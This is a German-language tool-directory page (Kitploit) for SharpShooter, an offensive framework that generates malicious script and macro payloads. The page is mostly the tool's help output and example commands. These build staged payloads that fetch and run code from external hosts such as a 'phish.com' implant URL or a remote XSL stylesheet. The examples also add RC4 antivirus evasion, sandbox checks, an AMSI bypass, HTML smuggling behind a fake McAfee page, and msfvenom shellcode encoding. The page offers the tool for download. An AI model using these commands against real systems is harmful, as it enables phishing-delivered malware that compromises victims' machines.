Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SharpShooter — Framework zur Erstellung von Payloads | Kitploit
Tools/GitHubGitHub/mdsecactivebreach/sharpshooter
Phishing-ToolsPrivilege EscalationPayload-GenerierungExploitationIDS/IPS-UmgehungLaterale BewegungShellcodeWebanwendungs-ExploitationCommand and ControlRed TeamingPayload-EntwicklungDNS-Analyse
2.0k3688vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubmdsecactivebreach/sharpshooter

SharpShooter

Framework zur Erstellung von Payloads

Repository anzeigen

/ // / ____ __________ / // / ____ ____ / / _____ __ / __ / __ `/ / __ \ / __ / __ / __ / __/ _ / / __/ / / / / // / / / // // / / / / // / // / // / /
/// //_,// / ./// //_/_
/_/___//
/_/

Beschreibung

SharpShooter ist ein Framework zur Generierung von Payloads für den Abruf und die Ausführung beliebigen CSharp-Quellcodes. SharpShooter kann Payloads in verschiedenen Formaten erstellen, darunter HTA, JS, VBS und WSF. Es nutzt James Forshaws DotNetToJavaScript-Werkzeug, um Methoden aus dem serialisierten DotNet-Objekt von SharpShooter aufzurufen. Payloads können über Web- oder DNS-Zustellung oder beides abgerufen werden; SharpShooter ist kompatibel mit dem MDSec ActiveBreach PowerDNS-Projekt. Alternativ können auch stageless Payloads mit eingebetteter Shellcode-Ausführung für dieselben Scripting-Formate erzeugt werden.

SharpShooter-Payloads werden mit einem zufälligen Schlüssel RC4-verschlüsselt, um eine gewisse Anti-Viren-Umgehung zu bieten. Das Projekt enthält die Möglichkeit, Sandbox-Erkennung und Umgebungsschlüsselung zu integrieren, um die Erkennung zu erschweren.

SharpShooter enthält eine vordefinierte CSharp-Vorlage zur Ausführung von Shellcode mit gestaffelten und nicht gestaffelten Payloads, aber jeder CSharp-Code kann mithilfe des CSharp-CodeDom-Anbieters über Reflektion kompiliert und im Arbeitsspeicher ausgeführt werden.

Schließlich bietet SharpShooter die Möglichkeit, den Payload mithilfe der Demiguise HTML-Smuggling-Technik in eine HTML-Datei einzubetten.

SharpShooter zielt auf die .NET-Framework-Versionen v2, v3 und v4 ab, die auf den meisten Windows-Endbenutzer-Workstations zu finden sind.

Version 1.0 von SharpShooter führte mehrere neue Konzepte ein, darunter COM-Staging, die Ausführung von Squiblydoo und Squiblytwo sowie XSL-Ausführung. Zur Umsetzung dieser neuen Funktionalität wurden mehrere neue Flags hinzugefügt: --com, --awl und --awlurl.

Version 2.0 von SharpShooter fügte das AMSI-Bypass-Modul sowie die Unterstützung zur Generierung von VBA- und Excel-4-Makro-fähigen Dokumenten hinzu.

Weitere Informationen finden Sie im MDSec-Blogbeitrag.

Verwendung - Befehlszeilenmodus:

SharpShooter ist hochgradig konfigurierbar und unterstützt eine Reihe verschiedener Payload-Typen, Sandbox-Umgehungen, Zustellungsmethoden und Ausgabeformate.

Wenn SharpShooter mit dem Argument --help ausgeführt wird, wird die folgende Ausgabe erzeugt:

root@kitploit:~
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
                       [--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
                       [--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
                       [--rawscfile <path>] [--shellcode] [--scfile <path>]
                       [--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
                       [--web <web>] [--dns <dns>] [--output <output>]
                       [--smuggle] [--template <tpl>]

optional arguments:
  -h, --help          show this help message and exit
  --stageless         Create a stageless payload
  --dotnetver <ver>   Target .NET Version: 2 or 4
  --com <com>         COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
  --awl <awl>         Application Whitelist Bypass Technique: wmic, regsvr32
  --awlurl <awlurl>   URL to retrieve XSL/SCT payload
  --payload <format>  Payload type: hta, js, jse, vba, vbe, vbs, wsf
  --sandbox <types>   Anti-sandbox techniques:
                      [1] Key to Domain (e.g. 1=CONTOSO)
                      [2] Ensure Domain Joined
                      [3] Check for Sandbox Artifacts
                      [4] Check for Bad MACs
                      [5] Check for Debugging
  --amsi <amsi>       Use amsi bypass technique: amsienable
  --delivery <type>   Delivery method: web, dns, both
  --rawscfile <path>  Path to raw shellcode file for stageless payloads
  --shellcode         Use built in shellcode execution
  --scfile <path>     Path to shellcode file as CSharp byte array
  --refs <refs>       References required to compile custom CSharp,
                      e.g. mscorlib.dll,System.Windows.Forms.dll
  --namespace <ns>    Namespace for custom CSharp,
                      e.g. Foo.bar
  --entrypoint <ep>   Method to execute,
                      e.g. Main
  --web <web>         URI for web delivery
  --dns <dns>         Domain for DNS delivery
  --output <output>   Name of output file (e.g. maldoc)
  --smuggle           Smuggle file inside HTML
  --template <tpl>    Name of template file (e.g. mcafee)

Beispiele für einige Anwendungsfälle sind unten aufgeführt:

Stageless JavaScript

root@kitploit:~
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

Erstellen eines stageless JavaScript-Payloads, das auf Version 4 des .NET-Frameworks abzielt. Dieses Beispiel erstellt einen Payload namens foo.js im Ausgabeverzeichnis. Der Shellcode wird aus der Datei ./raw.txt gelesen. Der Payload versucht, eine gewisse Sandbox-Umgehung zu erzwingen, indem die Ausführung an die CONTOSO-Domäne gebunden und nach bekannten Sandbox/VM-Artefakten gesucht wird.

Stageless HTA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

Erstellen eines stageless HTA-Payloads, das auf Version 2/3 des .NET-Frameworks abzielt. Dieses Beispiel erstellt einen Payload namens foo.hta im Ausgabeverzeichnis. Der Shellcode wird aus der Datei ./raw.txt gelesen. Der Payload versucht, eine Sandbox-Umgehung zu erzwingen, indem nach bekannten virtuellen MAC-Adressen gesucht wird. Es wird auch ein HTML-Schmuggel-Payload namens foo.html im Ausgabeverzeichnis erstellt. Dieser Payload verwendet die Beispiel-McAfee-Virenscanvorlage.

Gestaffelter VBS

root@kitploit:~
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

Dieses Beispiel erstellt einen gestaffelten VBS-Payload, der sowohl Web- als auch DNS-Zustellung durchführt. Der Payload versucht, eine GZip-komprimierte CSharp-Datei abzurufen, die den als CSharp-Byte-Array in der Datei csharpsc.txt bereitgestellten Shellcode ausführt. Die verwendete CSharp-Datei ist die integrierte SharpShooter-Shellcode-Ausführungsvorlage. Der Payload wird im Ausgabeverzeichnis mit dem Namen foo.payload erstellt und sollte auf http://www.foo.bar/shellcode.payload gehostet werden. Dieselbe Datei sollte auch auf der Domäne bar.foo über PowerDNS gehostet werden, um sie auszuliefern. Die VBS-Datei versucht, die Ausführung an die CONTOSO-Domäne zu binden, und wird mit der HTML-Schmuggeltechnik unter Verwendung der McAfee-Virenprüfvorlage in eine HTML-Datei eingebettet. Der resultierende Payload wird im Ausgabeverzeichnis unter dem Namen foo.html gespeichert.

Benutzerdefiniertes CSharp in VBS

root@kitploit:~
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

Dieses Beispiel zeigt, wie ein gestaffelter JS-Payload erstellt wird, der eine Web-Zustellung durchführt und einen Payload von http://www.phish.com/implant.payload abruft. Der generierte Payload versucht, eine Sandbox-Umgehung durchzuführen, und versucht, den abgerufenen Payload zu kompilieren, der die DLL-Referenzen mscorlib.dll und System.Windows.Forms.dll erfordert. Die Methode Main im Namespace MDSec.SharpShooter wird bei erfolgreicher Kompilierung ausgeführt.

Erstellung eines Squiblytwo VBS

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

Dieses Beispiel erstellt einen geschmuggelten VBS-COM-Stager, der die Outlook.CreateObject()-COM-Methode als Grundlage verwendet, um wmic.exe auszuführen und ein gehostetes Stylesheet auszuführen. Der Parameter --awl wird standardmäßig nicht verwendet, da wmic verwendet wird.

Erstellung einer XSL HTA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Dieses Beispiel erstellt eine geschmuggelte HTA-Datei, die das XMLDOM-COM-Interface verwendet, um ein gehostetes Stylesheet abzurufen und auszuführen.

Erstellung eines VBA-Makros

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Dieses Beispiel erstellt eine VBA-Makrodatei, die das XMLDOM-COM-Interface verwendet, um ein gehostetes Stylesheet abzurufen und auszuführen.

Erstellung eines Excel 4.0 SLK-Makro-fähigen Dokuments

root@kitploit:~
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

Dieses Beispiel erstellt eine Excel 4.0 SLK-Datei, die den bereitgestellten Shellcode ausführt und in HTML einbettet. Der Shellcode darf keine Nullbytes enthalten, Hinweis:

root@kitploit:~
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

Autor und Danksagungen

Autor: Dominic Chell, MDSec ActiveBreach @domchell und @mdseclabs

Danksagungen:

  • @tiraniddo: James Forshaw für DotNetToJScript
  • @Arno0x0x: für EmbedInHTML
  • @buffaloverflow: Rich Warren für Demiguise
  • @arvanaghi und @ChrisTruncer: Brandon Arvanaghi und Chris Truncer für CheckPlease
  • @subTee: Dokumentation für Squiblydoo- und Squiblytwo-Techniken
  • @StanHacked: Excel 4.0-Technik und Codebeispiele
Tool herunterladen